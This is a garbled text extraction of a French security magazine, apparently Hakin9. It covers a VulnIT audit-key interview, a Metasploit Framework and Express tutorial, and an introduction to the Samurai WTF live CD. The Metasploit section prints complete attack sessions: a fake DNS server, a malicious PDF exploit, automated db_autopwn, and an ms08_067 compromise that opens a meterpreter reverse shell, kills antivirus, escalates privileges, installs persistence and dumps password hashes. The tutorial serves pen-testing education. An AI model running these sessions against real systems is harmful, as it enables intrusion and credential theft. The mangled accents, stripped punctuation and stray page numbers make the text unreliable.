Quelles sont les fonctionnaliteacutes de la cleacute USB VulnIT VulnIT Une fois la cleacute USB inseacutereacutee dans le poste drsquoaudit il suffit de preacuteciser quel(s) serveur(s) auditer pour obtenir en quelques instants un rapport preacutecis et didactique recensant les vulneacuterabiliteacutes deacutetecteacutees et le moyen de les reacutesoudre

La solution VulnIT integravegre ainsi un panel de tests criti-ques sur les bases de donneacutees la messagerie les par-tages de fichiers les connexions agrave distance la super-vision reacuteseau etc Ces tests sont exeacutecuteacutes selon les services identifieacutes sur les serveurs constituant la cible drsquoaudit

De plus la solution repose sur une architecture particuliegraverement eacutevolutive srsquoenrichissant freacutequemment de nouveaux tests de seacutecuriteacute par simple mise agrave jour sur Internet

A qui est adresseacute ce nouveau produit VulnIT Ce produit srsquoadresse en premier lieu aux entre-prises de taille intermeacutediaire (250 agrave 5000 personnes) de tout secteur dont la maturiteacute informatique a deacutepasseacute la mise en œuvre des architectures de seacutecuriteacute eacuteleacutemen-taires (pare-feu antivirus antispam etc) mais qui ne disposent pas encore drsquoun controcircle permanent en seacute-curiteacute informatique ni mecircme pour la plupart drsquoun RSSI nommeacute

Par ailleurs les auditeurs et consultants en seacutecuri-teacute informatique appreacutecieront notre outil pour le gain de temps qursquoil offre en automatisant les tests de seacutecuriteacute fondamentaux et reacutecurrents agrave chaque audit

Pour quand est preacutevue sa sortie officielle VulnIT La premiegravere version de la solution sera com-mercialiseacutee agrave partir de juin 2010 Elle sera rapidement enrichie par les tests de sites web de patch manage-ment et des eacuteleacutements drsquoarchitecture (pare-feux rou-teurs)

Ougrave pourrons-nous acheter la solution VulnIT VulnIT La solution VulnIT sera disponible sur com-mande uniquement en nous contactant via notre si-te web (httpwwwvulnitcom) ou par teacuteleacutephone (0155949271)

Nous remercions M Vincent Maury pour avoir reacutepondu aux questions de Hakin9

VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation automatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

